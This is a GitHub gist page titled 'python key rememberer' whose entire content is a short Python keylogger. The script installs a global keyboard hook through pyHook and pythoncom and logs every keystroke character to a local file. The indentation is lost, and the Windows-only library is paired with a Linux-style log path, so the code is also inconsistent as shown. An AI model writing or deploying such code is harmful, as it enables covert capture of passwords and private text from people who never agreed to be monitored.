Skip to content

Instantly share code, notes, and snippets.

@bigsnarfdude
Last active December 22, 2015 07:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bigsnarfdude/6442121 to your computer and use it in GitHub Desktop.
Save bigsnarfdude/6442121 to your computer and use it in GitHub Desktop.
python key rememberer
import pyHook, pythoncom, sys, logging
file_log = '/home/Ubuntu/log'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment